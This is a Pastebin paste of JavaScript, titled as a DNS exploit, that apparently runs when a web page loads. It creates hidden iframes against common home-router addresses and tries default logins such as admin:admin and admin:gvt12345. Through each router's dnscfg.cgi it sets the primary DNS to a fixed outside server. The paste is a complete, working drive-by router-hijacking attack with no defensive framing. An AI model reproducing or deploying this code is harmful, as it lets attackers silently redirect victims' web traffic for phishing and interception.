hackernix

functionexpoitdns

Mar 20th, 2019
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Carregar(url, callback)
  2. {
  3. var head = document.getElementsByTagName('head')[0];
  4. var script = document.createElement('script');
  5. script.type = 'text/javascript';
  6. script.src = url;
  7.  
  8. script.onreadystatechange = callback;
  9. script.onload = callback;
  10.  
  11. head.appendChild(script);
  12. }
  13.  
  14.  
  15. function CapturarIP() {
  16. if (window.XMLHttpRequest) xmlhttp = new XMLHttpRequest();
  17. else xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  18.  
  19. xmlhttp.open("GET","http://api.hostip.info/get_html.php",false);
  20. xmlhttp.send();
  21.  
  22. hostipInfo = xmlhttp.responseText.split("\n");
  23.  
  24. for (i=0; hostipInfo.length >= i; i++) {
  25. ipAddress = hostipInfo[i].split(":");
  26. if ( ipAddress[0] == "IP" ) return ipAddress[1];
  27. }
  28.  
  29. return false;
  30. }
  31.  
  32. function Inicio(){
  33.  
  34. var sDnsPrimario = '167.114.80.138';
  35. var sDnsSecundario = '8.8.8.8';
  36.  
  37. var fnCriarIfame = function(url){
  38.  
  39. $('body').append('<iframe style="display:none" src="'+url+'"></iframe>')
  40.  
  41. }
  42.  
  43. var IP = CapturarIP();
  44. IP = IP.trim()
  45.  
  46. fnCriarIfame('http://'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  47. fnCriarIfame('http://192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  48. fnCriarIfame('http://192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  49. fnCriarIfame('http://192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  50. fnCriarIfame('http://10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  51. fnCriarIfame('http://10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  52. fnCriarIfame('http://10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  53.  
  54. fnCriarIfame('http://admin:admin@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  55. fnCriarIfame('http://admin:admin@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  56. fnCriarIfame('http://admin:admin@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  57. fnCriarIfame('http://admin:admin@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  58. fnCriarIfame('http://admin:admin@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  59. fnCriarIfame('http://admin:admin@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  60. fnCriarIfame('http://admin:admin@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  61.  
  62. fnCriarIfame('http://admin:@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  63. fnCriarIfame('http://admin:@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  64. fnCriarIfame('http://admin:@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  65. fnCriarIfame('http://admin:@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  66. fnCriarIfame('http://admin:@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  67. fnCriarIfame('http://admin:@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  68. fnCriarIfame('http://admin:@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  69.  
  70. fnCriarIfame('http://:admin@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  71. fnCriarIfame('http://:admin@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  72. fnCriarIfame('http://:admin@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  73. fnCriarIfame('http://:admin@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  74. fnCriarIfame('http://:admin@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  75. fnCriarIfame('http://:admin@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  76. fnCriarIfame('http://:admin@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  77.  
  78. fnCriarIfame('http://admin:gvt12345@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  79. fnCriarIfame('http://admin:gvt12345@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  80. fnCriarIfame('http://admin:gvt12345@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  81. fnCriarIfame('http://admin:gvt12345@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  82. fnCriarIfame('http://admin:gvt12345@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  83. fnCriarIfame('http://admin:gvt12345@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  84. fnCriarIfame('http://admin:gvt12345@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1');
  85.  
  86. }
  87.  
  88. if(!window.Jquery){
  89.  
  90. Carregar('//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js',Inicio);
  91.  
  92. } else {
  93.  
  94. Inicio;
  95.  
  96. }
Add Comment
Please, Sign In to add comment